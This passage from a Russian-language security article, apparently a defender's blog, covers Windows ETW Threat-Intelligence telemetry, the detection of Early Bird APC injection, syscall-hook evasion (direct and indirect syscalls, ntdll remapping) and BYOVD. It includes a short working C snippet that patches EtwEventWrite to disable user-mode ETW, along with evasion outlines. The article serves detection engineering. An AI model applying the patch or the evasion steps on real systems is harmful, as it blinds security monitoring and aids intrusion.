По названию функций нетрудно догадаться, что она осуществляет регистрацию поставщика событий. Это аналог UserMode-функции EventRegister(). На выходе из функции мы получаем RegHandle, которым и будем оперировать в дальнейшем для совершения каких-либо действий над провайдером.
Аналогично, используя перекрестные ссылки, возможно найти места использования RegHandle Microsoft-Windows-Threat-Intelligence. В итоге мы попадем в функцию EtwTiLogAllocExecVm():
Функция EtwTiLogAllocExecVm() по сути и является той самой callback-функцией, которая расположена в реализациях системных вызовов.
Если посмотреть в конец реализации EtwTiLogAllocExecVm(), то можно увидеть, что осуществляется вызов функции EtwWrite(). Данная функция осуществляет запись события в указанный провайдер:
NTSTATUS EtwWrite(
[in] REGHANDLE RegHandle,
[in] PCEVENT_DESCRIPTOR EventDescriptor,
[in, optional] LPCGUID ActivityId,
[in] ULONG UserDataCount,
[in, optional] PEVENT_DATA_DESCRIPTOR UserData
);
В первом аргументе мы говорим буквально, в какой провайдер хотим записывать событие, это Microsoft-Windows-Threat-Intelligence, — здесь мы используем RegHandle. Второй аргумент — указатель на _EVENT_DESCRIPTOR, который описывает структуру отправляемого события:
typedef struct _EVENT_DESCRIPTOR {
USHORT Id;
UCHAR Version;
UCHAR Channel;
UCHAR Level;
UCHAR Opcode;
USHORT Task;
ULONGLONG Keyword;
} EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR;
Мы также можем посмотреть все варианты наполнения _EVENT_DESCRIPTOR для коллбэка EtwTiLogAllocExecVm():
Первое число в структуре — это hex-представление EventID, и если сравнить его с тем, что написано в манифесте провайдера, то все совпадает:
Мы уже поняли, как событие отправляется в провайдер, теперь же надо понять, где располагается коллбэк EtwTiLogAllocExecVm(). Смотрим перекрестные ссылки:
Сама callback-функция располагается во внутренней функции ядра MiAllocateVirtualMemory() — это низкоуровневая ядерная функция, в которой реализован механизм выделения виртуальной памяти:
Сама функция MiAllocateVirtualMemory() при выделении памяти вызывается реализацией системного вызова NtAllocateVirtualMemory(). В процессе своей работы MiAllocateVirtualMemory() вызывает EtwTiLogAllocExecVm() — callback, который логирует информацию о выделении исполняемой памяти в провайдер Microsoft-Windows-Threat-Intelligence.
Early Bird APC Injection
Рассмотрим вариант использования телеметрии провайдера Microsoft-Windows-Threat-Intelligence на примере варианта техники Process Injection: Early Bird APC Injection.
Общие шаги для техники:
- Создание легитимного процесса в состоянии CREATE_SUSPENDED или DEBUG_PROCESS.
- Выделение памяти для шелл-кода внутри созданного процесса.
- Запись шелл-кода в выделенную память.
- Объявление APC-процедуры, которая указывает на память, в которую записан шелл-код.
- Добавление APC-процедуры в очередь для main-потока.
- Вывод процесса из состояния CREATE_SUSPENDED. В этот момент поток возобновляет выполнение и очередь APC очищается, то есть выполняются все процедуры в очереди.
Стоит отметить, что данный способ инъекции в процесс позволяет обойти некоторые EDR-решения, так как при запуске процесса в состоянии CREATE_SUSPENDED его инициализация (маппинг в память системных dll, очистка очереди APC) еще не завершена. Окончательно это случится после вывода процесса из CREATE_SUSPENDED-состояния, когда в конце инициализации произойдет вызов функции NtTestAlert(), которая отвечает за очистку очереди APC.
Поэтому, если EDR-хуки устанавливаются в процессе после очистки APC очереди, EDR не сможет увидеть подозрительную активность при инициализации процесса.
С обнаружением данной техники нам может помочь событие THREATINT_QUEUEUSERAPC_REMOTE (EventID — 4) провайдера Microsoft-Windows-Threat-Intelligence, которое генерируется в момент инициализации APC-очереди в UserMode-потоке.
В качестве источника событий ETW-TI мы использовали open-source-инструмент SealighterTI.
{
"header": {
"activity_id": "{00000000-0000-0000-0000-000000000000}",
"event_flags": 577,
"event_id": 4,
"event_name": "",
"event_opcode": 0,
"event_version": 1,
"process_id": 4,
"provider_name": "Microsoft-Windows-Threat-Intelligence",
"task_name": "KERNEL_THREATINT_TASK_QUEUEUSERAPC",
"thread_id": 6504,
"timestamp": "2025-02-07 08:29:20Z",
"trace_name": "Microsoft-Windows-Threat-Intelligence"
},
"properties": {
"ApcArgument1": "0x251CCF00000",
"ApcArgument1VadAllocationBase": "0x251CCF00000",
"ApcArgument1VadAllocationProtect": 4,
"ApcArgument1VadCommitSize": "0x1000"
………………….
"OriginalProcessStartKey": 844424930133247,
"RealEventTime": "2025-02-07 08:29:20Z",
"TargetProcessCreateTime": "2025-02-07 08:29:20Z",
"TargetProcessId": 2976,
"TargetProcessProtection": 0,
"TargetProcessSectionSignatureLevel": 0,
"TargetProcessSignatureLevel": 0,
"TargetProcessStartKey": 844424930133248,
"TargetThreadAlertable": 0,
"TargetThreadCreateTime": "2025-02-07 08:29:20Z",
"TargetThreadId": 1136
},
"property_types": {
…….
},
"stack_trace": [
"0xFFFFF80776D5ABDC",
"0xFFFFF8077710944A",
"0xFFFFF80776CB8655",
"0xFFFFF80776D55995",
"0xFFFFF80776DFE938"
]
}
Данное событие можно коррелировать с событиями запусков процессов и получать довольно точную логику обнаружения такого способа инъекции.
ETW Patching
Для того чтобы обходить телеметрию на основе ETW, злоумышленники, зная принципы работы ETW, могут попытаться модифицировать цепочку доставки событий от провайдера до потребителя.
Как уже говорилось ранее, глобально существуют 2 типа провайдеров:
- Провайдеры, источником событий которых являются приложения из UserMode.
- Провайдеры, источником событий которых является само ядро Windows.
В первом случае ход доставки события выглядит следующим образом:
- Происходит вызов функции EventWrite() из библиотеки advapi32.dll. Она является оберткой над функцией из ntdll:EtwEventWrite().
ULONG EVNTAPI EventWrite(
[in] REGHANDLE RegHandle,
[in] PCEVENT_DESCRIPTOR EventDescriptor,
[in] ULONG UserDataCount,
[in, optional] PEVENT_DATA_DESCRIPTOR UserData
);
EtwEventWrite(
__in REGHANDLE RegHandle,
__in PCEVENT_DESCRIPTOR EventDescriptor,
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
);
- Функция EtwEventWrite() вызывает EtwpEventWriteFull(), которая обрабатывает аргументы и впоследствии вызывает NtTraceEvent(), которая в свою очередь осуществляет системный вызов к своей ядерной реализации.
- Ядро получает RegHandle и событие, благодаря чему оно «понимает», в какой провайдер следует записать конкретное событие.
Пользуясь этим знанием, злоумышленники могут осуществить патчинг UserMode ETW функций, которые отвечают за отправку событий в ядро. Разберем данное поведение на примере.
Ниже представлен пример кода, который осуществляет патчинг первой инструкции функции EventWrite() в ntdll на инструкцию ret:
//pointer to EtwEventWrite()
void *EtwEventWritep = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");
//add write access to page
VirtualProtect(EtwEventWritep , 1, PAGE_EXECUTE_READWRITE, &lastprot);
// Patch on ret instruction
mchar patch[] = { 0xc3 };
memcpy(EtwEventWritep, patch, 1);
Для наглядности возьмем события провайдера Microsoft-Windows-DotNETRuntime в PerfView. Пробуем инжектировать .NET-сборку в процесс notepad.exe и смотрим, какие типы событий будут доступны до патчинга и после:
Заметим, что из скриншота выше видно, что благодаря патчингу вообще все UserMode-провайдеры перестали отдавать события (для процесса notepad.exe), остались только ядерные.
Теперь сравним, как выглядит функция EtwEventWrite() до патчинга и после:
В итоге злоумышленники могут таким образом отключать UserMode-ETW-провайдеры для указанных процессов.
Если говорить о варианте с попыткой ослепления Kernel-Mode-ETW-провайдеров, то злоумышленникам для этого требуется возможность изменять память самого ядра. Для этого придется воспользоваться, к примеру, техникой BYOVD. В противном случае остановить поток событий от Kernel Mode ETW будет невозможно.
Intercepting Windows system calls
Как происходит системный вызов в Windows
Как мы уже описывали выше, практически любое действие в usermode в ОС Windows проходит множество шагов перед тем, как будет выполнено на уровне ядра. Рассмотрим пример того, как происходит вызов функции CreateFileW() из kernel32.dll:
- Приложение вызывает функцию CreateFileW() из kernel32.dll.
- Далее вызывается функция CreateFileW() из библиотеки kernelbase.dll.
- Далее происходит вызов NtCreateFile() из ntdll.dll — последний вызов перед переходом в пространство ядра.
- С помощью операции syscall и передачи в нее номера вызываемой функции из SSDT (SSN) происходит переход в контекст ядра.
- В ядре выполняется функция NtCreateFile(), которая и производит все необходимые действия для создания файла.
Различные защитные решения (EDR/AV/EPP) могут перехватывать вызовы функций для того, чтобы получать важный поток телеметрии, позволяющий обнаружить атаки, которые непросто увидеть при наличии только описанной выше телеметрии.
Далее мы рассмотрим, как могут быть перехвачены вызовы функций для получения телеметрии.
Способы перехвата системного вызова
WinAPI hooking
Многие защитные решения реализуют технику сбора телеметрии с помощью перехвата библиотечных функций — WinAPI hooking. Принцип работы тут такой:
- Решение отслеживает все запускаемые на системе процессы (например, с помощью ядерной callback-функции).
- В запускаемый процесс внедряется библиотека, реализующая постановку перехватов в загруженные библиотеки (чаще всего в ntdll.dll).
- Далее каждый перехваченный вызов будет сначала проходить через обработчик защитного решения, генерируя телеметрию.
Как правило, перехват осуществляется путем изменения пролога перехватываемой функции на так называемый «трамплин», передающий управление на функцию-обработчик защитного решения. В обработчике аргументы вызова анализируются, генерируется соответствующее событие, после чего поток выполнения возвращается в перехваченную библиотечную функцию. Также применяется метод, называемый IAT (Import Address Table) hooking, при котором адреса интересующих функций в таблице импорта процесса подменяются на адреса функций в библиотеке-обработчике.
Пример того, как выглядит пролог функции до внедрения трамлина:
И после:
Evading Intercepting Syscalls
Злоумышленники, зная, что защитные решения часто нацелены на перехват библиотечных функций для построения детектов, используют различные техники, позволяющие им оставаться незамеченными. Рассмотрим три из них:
- Direct syscalls.
- Indirect syscalls.
- Ntdll remapping.
Direct syscalls
Для данной техники характерна следующая особенность: вместо традиционного вызова API-функций, которые могут быть перехвачены, используется оператор syscall напрямую из кода ВПО.
Алгоритм примерно следующий:
- Для интересующей функции из ntdll находится соответствующий ей SSN (System Service Number), который может меняться в Windows от версии к версии.
- Подготавливаются аргументы вызываемой функции.
- Вызывается оператор syscall.
Техника позволяет обходить поставленные перехваты в ntdll, поскольку поток выполнения не проходит через трамплины, установленные защитными решениями.
Схема выполнения функции CreateFileW() при использовании такой техники:
Indirect syscalls
При использовании данной техники вызов инструкции syscall происходит не в памяти исполняемого файла, как в случае с Direct syscall, а в памяти ntdll. Приблизительный алгоритм следующий (один из возможных вариантов):
- В памяти ntdll находится адрес функции, которая должна быть вызвана «скрытно».
- По сигнатуре или по смещению внутри этой функции ищется адрес инструкции syscall.
- Происходит подготовка аргументов по аналогии с Direct syscall.
- Производится прыжок (jmp) на адрес инструкции syscall, из-за чего происходит ее выполнение.
Таким образом, главное отличие от предыдущего метода заключается в том, что вызов syscall происходит «более правильно» с точки зрения операционной системы — то есть из памяти библиотеки ntdll. Использование данного метода позволяет обойти хуки WinAPI-функций, а также различные простые эвристики, основанные на стеке вызовов (call stack).
Ntdll remapping
Техника ntdll remapping значительно отличается по своей сути от двух описанных ранее. Защитные решения при внедрении своей библиотеки в анализируемый процесс изменяют прологи интересующих функций только в памяти процесса, оригинальная библиотека ntdll остается на файловой системе в «чистом» виде.
Алгоритм выполнения техники:
- Вредоносный процесс маппит в свою память неизмененную библиотеку ntdll.dll. В данный момент времени в памяти процесса будет две копии библиотеки: с перехватами защитного решения и без.
- Получает базовый адрес неизменной библиотеки.
- Получает адрес раздела .text неизмененной библиотеки.
- Повторяет шаги 2 и 3 для библиотеки ntdll, загруженной в память изначально (измененной версии).
- Перезаписывает секцию .text измененной библиотеки аналогичной секцией, загруженной на 1-м шаге библиотеки.
После выполнения техники поток выполнения функции CreateFileW() будет выглядеть следующим образом:
Evasion detect ideas
В общем виде обнаружение подобных техник обхода является крайне специфичной задачей, которая не может быть выполнена на различных стандартных средствах аудита (EventLog/Sysmon/ETW).
Далее предложим несколько вариантов того, как можно обнаружить описанные выше методы обхода перехвата WinAPI-функций.
CallStack anomalies detection
Для обнаружения Direct/Indirect syscalls можно использовать анализ стека вызовов функций. Стек вызовов содержит в себе цепочку вызовов, которые привели к текущему моменту выполнения потока:
Что именно может показаться подозрительным в стеке вызовов:
- Нестандартный путь выполнения API-функции.
- Вызов критичных функций напрямую из памяти процесса, минуя ntdll.dll.
- Несоответствие последней функции в стеке вызовов той функции, которая была вызвана на самом деле.
Ntdll remapping detection
Как было описано в алгоритме выполнения техники Ntdll remapping, суть заключается в том, что ntdll.dll маппится в память и перезаписывает ntdll.dll в памяти, в которой могут быть установлены хуки.
Один из возможных способов обнаружения данной активности можно построить именно на событиях, которые могут быть получены из установленных в ntdll.dll перехватах, а именно:
- NtCreateSection().
- NtCreateFile().
В данном случае есть два варианта:
- Менее точный, основанный только на событии чтения с диска файла ntdll.dll (NtCreateFile).
- Более точный, основанный на корреляции двух событий по значению handle: чтение с диска файла ntdll.dll (NtCreateFile) и маппинг этого файла в память (NtCreateSection).
В первом случае необходимо обратить внимание на значение ObjectAttributes -> ObjectName (ntdll.dll) в аргументах вызова NtCreateFile(), а также на маску доступа DesiredAccess (GENERIC_READ).
Во втором случае нужно учесть уже описанное событие, а также скоррелировать его с последующим событием NtCreateSection по аргументу FileHandle.
BYOVD and Malicious Drivers
Особняком в области обхода защитных решений (которые практически всегда присутствуют в пространстве ядра) стоит техника BYOVD (Bring Your Own Vulnerable Driver).
Суть ее заключается в том, что злоумышленники могут принести с собой на хост подписанный и легитимный, но подверженный уязвимостям драйвер. При эксплуатации уязвимостей в драйверах злоумышленник получает доступ к kernelmode и, соответственно, практически безграничную свободу действий на зараженном хосте.
Какие действия можно выполнить на хосте, имея доступ к kernelmode:
- Выгрузку драйвера защитного решения.
- Завершение любых процессов защитных решений.
- Отключение/удаление kernel callbacks.
- Установку собственных хуков для сокрытия действий на хосте.
Microsoft активно пытается бороться с загрузкой потенциально вредоносных драйверов, но их список все время пополняется. Один из вариантов борьбы с таким типом атак — отслеживание загружаемых драйверов и сравнение их метаданных с уже известным списком.
Также для доступа к kernelmode злоумышленники могут использовать различные проблемы в ОС Windows. Об одной из них мы рассказывали в статье. Суть атаки заключалась в том, что на систему был доставлен вредоносный драйвер, подписанный просроченным сертификатом, но из-за политики подписи драйверов он все равно мог быть загружен:
Далее происходило ровно то, что уже было описано выше: отключение защитных решений, сокрытие активности и развитие атаки.
Выводы
Вы, возможно, задались вопросом: «А зачем мне нужна вся эта информация?» Дело в том, что злоумышленники пристально изучают работу средств защиты или аудита, постоянно пытаясь обнаружить их способы обхода, поэтому знание того, как именно работает тот или иной инструмент, поможет в поиске потенциальных «слепых пятен», которыми может воспользоваться злоумышленник.














